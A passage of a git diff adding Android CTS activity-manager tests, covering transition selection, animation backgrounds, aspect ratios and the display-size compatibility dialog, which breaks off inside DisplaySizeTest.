+        final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+        final int prevSplitScreenPrimaryIndex =
+                mAmWmState.getAmState().getStackIndexByActivityName(DOCKED_ACTIVITY_NAME);
+        final int prevSplitScreenSecondaryIndex =
+                mAmWmState.getAmState().getStackIndexByActivityName(TEST_ACTIVITY_NAME);
+
+        final int expectedHomeStackIndex =
+                (prevSplitScreenPrimaryIndex > prevSplitScreenSecondaryIndex
+                        ? prevSplitScreenPrimaryIndex : prevSplitScreenSecondaryIndex) - 1;
+        assertTrue("Home stack needs to be directly behind the top stack",
+                expectedHomeStackIndex == homeStackIndex);
+    }
+
+    private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
+        launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+    }
+
+    private void launchActivityInDockStackAndMinimize(String activityName, int createMode)
+            throws Exception {
+        launchActivityInDockStack(activityName, createMode);
+        pressHomeButton();
+        waitForAndAssertDockMinimized();
+    }
+
+    private void assertDockMinimized() {
+        assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
+    }
+
+    private void waitForAndAssertDockMinimized() throws Exception {
+        waitForDockMinimized();
+        assertDockMinimized();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+    }
+
+    private void assertDockNotMinimized() {
+        assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
+    }
+
+    private void waitForDockMinimized() throws Exception {
+        mAmWmState.waitForWithWmState(state -> state.isDockedStackMinimized(),
+                "***Waiting for Dock stack to be minimized");
+    }
+
+    private void waitForDockNotMinimized() throws Exception {
+        mAmWmState.waitForWithWmState(state -> !state.isDockedStackMinimized(),
+                "***Waiting for Dock stack to not be minimized");
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
new file mode 100644
index 0000000..c608507
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static org.junit.Assert.assertEquals;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * This test tests the transition type selection logic in ActivityManager/WindowManager.
+ * BottomActivity is started first, then TopActivity, and we check the transition type that the
+ * system selects when TopActivity enters or exits under various setups.
+ *
+ * Note that we only require the correct transition type to be reported (eg. TRANSIT_ACTIVITY_OPEN,
+ * TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.). The exact animation is unspecified and can be
+ * overridden.
+ *
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerTransitionSelectionTests
+ */
+@Presubmit
+public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
+
+    private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
+    private static final String TOP_ACTIVITY_NAME = "TopActivity";
+    private static final String TRANSLUCENT_TOP_ACTIVITY_NAME = "TranslucentTopActivity";
+
+    //------------------------------------------------------------------------//
+
+    // Test activity open/close under normal timing
+    @Test
+    public void testOpenActivity_NeitherWallpaper() throws Exception {
+        testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
+    }
+
+    @Test
+    public void testCloseActivity_NeitherWallpaper() throws Exception {
+        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    @Test
+    public void testOpenActivity_BottomWallpaper() throws Exception {
+        testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+    }
+
+    @Test
+    public void testCloseActivity_BottomWallpaper() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testOpenActivity_BothWallpaper() throws Exception {
+        testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+    }
+
+    @Test
+    public void testCloseActivity_BothWallpaper() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test task open/close under normal timing
+    @Test
+    public void testOpenTask_NeitherWallpaper() throws Exception {
+        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_TASK_OPEN);
+    }
+
+    @Test
+    public void testCloseTask_NeitherWallpaper() throws Exception {
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_TASK_CLOSE);
+    }
+
+    @Test
+    public void testOpenTask_BottomWallpaper() throws Exception {
+        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+    }
+
+    @Test
+    public void testCloseTask_BottomWallpaper() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testOpenTask_BothWallpaper() throws Exception {
+        testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+    }
+
+    @Test
+    public void testCloseTask_BothWallpaper() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test activity close -- bottom activity slow in stopping
+    // These simulate the case where the bottom activity is resumed
+    // before AM receives its activitiyStopped
+    @Test
+    public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
+        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    @Test
+    public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
+        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    // Test task close -- bottom task top activity slow in stopping
+    // These simulate the case where the bottom activity is resumed
+    // before AM receives its activitiyStopped
+    @Test
+    public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_TASK_CLOSE);
+    }
+
+    @Test
+    public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    /// Test closing of translucent activity/task
+    @Test
+    public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_ACTIVITY_CLOSE);
+    }
+
+    @Test
+    public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
+        testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    @Test
+    public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_TASK_CLOSE);
+    }
+
+    @Test
+    public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
+                TRANSIT_WALLPAPER_OPEN);
+    }
+
+    @Test
+    public void testCloseTask_BothWallpaper_Translucent() throws Exception {
+        testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
+    }
+
+    //------------------------------------------------------------------------//
+
+    private void testOpenActivity(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseActivity(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testOpenTask(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseTask(boolean bottomWallpaper,
+            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
+    }
+    private void testCloseActivityTranslucent(boolean bottomWallpaper,
+            boolean topWallpaper, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
+                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+                false /*slowStop*/, expectedTransit);
+    }
+    private void testCloseTaskTranslucent(boolean bottomWallpaper,
+            boolean topWallpaper, String expectedTransit) throws Exception {
+        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
+                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
+                false /*slowStop*/, expectedTransit);
+    }
+    //------------------------------------------------------------------------//
+
+    private void testTransitionSelection(
+            boolean testOpen, boolean testNewTask,
+            boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
+            boolean testSlowStop, String expectedTransit) throws Exception {
+        String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
+        if (bottomWallpaper) {
+            bottomStartCmd += " --ez USE_WALLPAPER true";
+        }
+        if (testSlowStop) {
+            bottomStartCmd += " --ei STOP_DELAY 3000";
+        }
+        executeShellCommand(bottomStartCmd);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
+
+        final String topActivityName = topTranslucent ?
+                TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
+        String topStartCmd = getAmStartCmd(topActivityName);
+        if (testNewTask) {
+            topStartCmd += " -f 0x18000000";
+        }
+        if (topWallpaper) {
+            topStartCmd += " --ez USE_WALLPAPER true";
+        }
+        if (!testOpen) {
+            topStartCmd += " --ei FINISH_DELAY 1000";
+        }
+        executeShellCommand(topStartCmd);
+
+        Thread.sleep(5000);
+        if (testOpen) {
+            mAmWmState.computeState(new WaitForValidActivityState.Builder(topActivityName).build());
+        } else {
+            mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
+        }
+
+        assertEquals("Picked wrong transition", expectedTransit,
+                mAmWmState.getWmState().getLastTransition());
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
new file mode 100644
index 0000000..854b2ee
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AnimationBackgroundTests
+ */
+public class AnimationBackgroundTests extends ActivityManagerTestBase {
+
+    @Test
+    public void testAnimationBackground_duringAnimation() throws Exception {
+        launchActivity(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder()
+                .setTargetActivityName("AnimationTestActivity")
+                .setWaitForLaunched(false)
+                .execute();
+
+        // Make sure we are in the middle of the animation.
+        mAmWmState.waitForWithWmState(state -> state
+                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                        .isWindowAnimationBackgroundSurfaceShowing(),
+                "***Waiting for animation background showing");
+        assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
+                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .isWindowAnimationBackgroundSurfaceShowing());
+    }
+
+    @Test
+    public void testAnimationBackground_gone() throws Exception {
+        launchActivity(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder("AnimationTestActivity").build());
+        assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
+                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .isWindowAnimationBackgroundSurfaceShowing());
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
new file mode 100644
index 0000000..7eb3f37
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.FlakyTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.WindowManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AspectRatioTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class AspectRatioTests extends AspectRatioTestsBase {
+
+    // The max. aspect ratio the test activities are using.
+    private static final float MAX_ASPECT_RATIO = 1.0f;
+
+    // The minimum supported device aspect ratio.
+    private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
+
+    // The minimum supported device aspect ratio for watches.
+    private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
+
+    // Test target activity that has maxAspectRatio="true" and resizeableActivity="false".
+    public static class MaxAspectRatioActivity extends Activity {
+    }
+
+    // Test target activity that has maxAspectRatio="1.0" and resizeableActivity="true".
+    public static class MaxAspectRatioResizeableActivity extends Activity {
+    }
+
+    // Test target activity that has no maxAspectRatio defined and resizeableActivity="false".
+    public static class MaxAspectRatioUnsetActivity extends Activity {
+    }
+
+    // Test target activity that has maxAspectRatio defined as
+    //   <meta-data android:name="android.max_aspect" android:value="1.0" />
+    // and resizeableActivity="false".
+    public static class MetaDataMaxAspectRatioActivity extends Activity {
+    }
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
+            new ActivityTestRule<>(MaxAspectRatioActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
+            new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
+    public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+            new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
+    public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
+            new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Test
+    @Presubmit
+    public void testDeviceAspectRatio() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+        final Display display = wm.getDefaultDisplay();
+        final DisplayMetrics metrics = new DisplayMetrics();
+        display.getRealMetrics(metrics);
+
+        float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
+        float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
+        float deviceAspectRatio = longSide / shortSide;
+        float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
+                ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
+
+        if (deviceAspectRatio < expectedMinAspectRatio) {
+            fail("deviceAspectRatio=" + deviceAspectRatio
+                    + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
+        }
+    }
+
+    @Test
+    @Presubmit
+    public void testMaxAspectRatio() throws Exception {
+        runAspectRatioTest(mMaxAspectRatioActivity, actual -> {
+            if (MAX_ASPECT_RATIO >= actual) return;
+            fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+        });
+    }
+
+    @Test
+    @Presubmit
+    public void testMetaDataMaxAspectRatio() throws Exception {
+        runAspectRatioTest(mMetaDataMaxAspectRatioActivity, actual -> {
+            if (MAX_ASPECT_RATIO >= actual) return;
+            fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+        });
+    }
+
+    @Test
+    @FlakyTest // TODO: Currently 10% flaky so not part of pre-submit for now
+    public void testMaxAspectRatioResizeableActivity() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final float expected = getAspectRatio(context);
+        final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
+        PollingCheck.waitFor(testActivity::hasWindowFocus);
+
+        Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
+
+        // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
+        // context, then can use DisplayManager to get the aspect ratio of the correct display.
+        if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
+            return;
+        }
+
+        // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
+        runTest(testActivity, actual -> {
+            if (aspectRatioEqual(expected, actual) || expected < actual) return;
+            fail("actual=" + actual + " is less than expected=" + expected);
+        });
+    }
+
+    @Test
+    @Presubmit
+    public void testMaxAspectRatioUnsetActivity() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final float expected = getAspectRatio(context);
+
+        // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
+        // the device's
+        runAspectRatioTest(mMaxAspectRatioUnsetActivity, actual -> {
+            if (aspectRatioEqual(expected, actual) || expected < actual) return;
+            fail("actual=" + actual + " is less than expected=" + expected);
+        });
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
new file mode 100644
index 0000000..6d1dc53
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Context;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.view.Display;
+import android.view.WindowManager;
+
+class AspectRatioTestsBase {
+
+    interface AssertAspectRatioCallback {
+        void assertAspectRatio(float actual);
+    }
+
+    void runAspectRatioTest(final ActivityTestRule activityRule,
+            final AssertAspectRatioCallback callback) {
+        final Activity activity = launchActivity(activityRule);
+        runTest(activity, callback);
+        finishActivity(activityRule);
+
+        // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
+        // context is updated correctly here. Also, what does it mean to be holding a reference to
+        // this activity if changing the orientation will cause a relaunch?
+//        activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+//        waitForIdle();
+//        callback.assertAspectRatio(getAspectRatio(activity));
+//
+//        activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
+//        waitForIdle();
+//        callback.assertAspectRatio(getAspectRatio(activity));
+    }
+
+    protected void runTest(Activity activity, AssertAspectRatioCallback callback) {
+        callback.assertAspectRatio(getAspectRatio(activity));
+    }
+
+     static float getAspectRatio(Context context) {
+        final Display display =
+                context.getSystemService(WindowManager.class).getDefaultDisplay();
+        final Point size = new Point();
+        display.getSize(size);
+        final float longSide = Math.max(size.x, size.y);
+        final float shortSide = Math.min(size.x, size.y);
+        return longSide / shortSide;
+    }
+
+    protected Activity launchActivity(final ActivityTestRule activityRule) {
+        final Activity activity = activityRule.launchActivity(null);
+        waitForIdle();
+        return activity;
+    }
+
+    private void finishActivity(ActivityTestRule activityRule) {
+        final Activity activity = activityRule.getActivity();
+        if (activity != null) {
+            activity.finish();
+        }
+    }
+
+    private static void waitForIdle() {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    static boolean aspectRatioEqual(float a, float b) {
+        // Aspect ratios are considered equal if they ware within to significant digits.
+        float diff = Math.abs(a - b);
+        return diff < 0.01f;
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
new file mode 100644
index 0000000..86a7f8c
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import android.os.Build;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Ensure that compatibility dialog is shown when launching an application with
+ * an unsupported smallest width.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.DisplaySizeTest
+ */
+public class DisplaySizeTest extends ActivityManagerTestBase {
+    private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
+    private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
+
+    private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
+    private static final String AM_FORCE_STOP = "am force-stop %s";
+
+    private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
+    private static final int WINDOW_TIMEOUT_MILLIS = 1000;
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        resetDensity();
+
+        // Ensure app process is stopped.
+        forceStopPackage("android.server.am.displaysize");
+        forceStopPackage("android.server.am");
+    }
+
+    @Test
+    public void testCompatibilityDialog() throws Exception {
+        // Launch some other app (not to perform density change on launcher).
+        startActivity("android.server.am", "TestActivity");
+        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        // Launch target app.
+        startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    @Test
+    public void testCompatibilityDialogWhenFocused() throws Exception {
+        startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    @Test
+    public void testCompatibilityDialogAfterReturn() throws Exception {
+        // Launch target app.
+        startActivity("android.server.am.displaysize", "SmallestWidthActivity");
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        // Launch another activity.
+        startOtherActivityOnTop("android.server.am.displaysize", "SmallestWidthActivity");
+        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
+
+        setUnsupportedDensity();
+
+        // Go back.
+        executeShellCommand("input keyevent 4");
+
+        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
+        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
+    }
+
+    private void setUnsupportedDensity() {
+        // Set device to 0.85 zoom. It doesn't matter that we're zooming out
+        // since the feature verifies that we're in a non-default density.
+        final int stableDensity = getStableDensity();
+        final int targetDensity = (int) (stableDensity * 0.85);
+        setDensity(targetDensity);
+    }
+
+    private int getStableDensity() {
+        final String densityProp;
+        if (Build.getSerial().startsWith("emulator-")) {
+            densityProp = DENSITY_PROP_EMULATOR;
+        } else {
+            densityProp = DENSITY_PROP_DEVICE;
+        }
+
+        return Integer.parseInt(executeShellCommand("getprop " + densityProp).trim());
+    }
+
+    private void setDensity(int targetDensity) {
+        executeShellCommand("wm density " + targetDensity);
+
+        // Verify that the density is changed.
+        final String output = executeShellCommand("wm density");
+        final boolean success = output.contains("Override density: " + targetDensity);
+
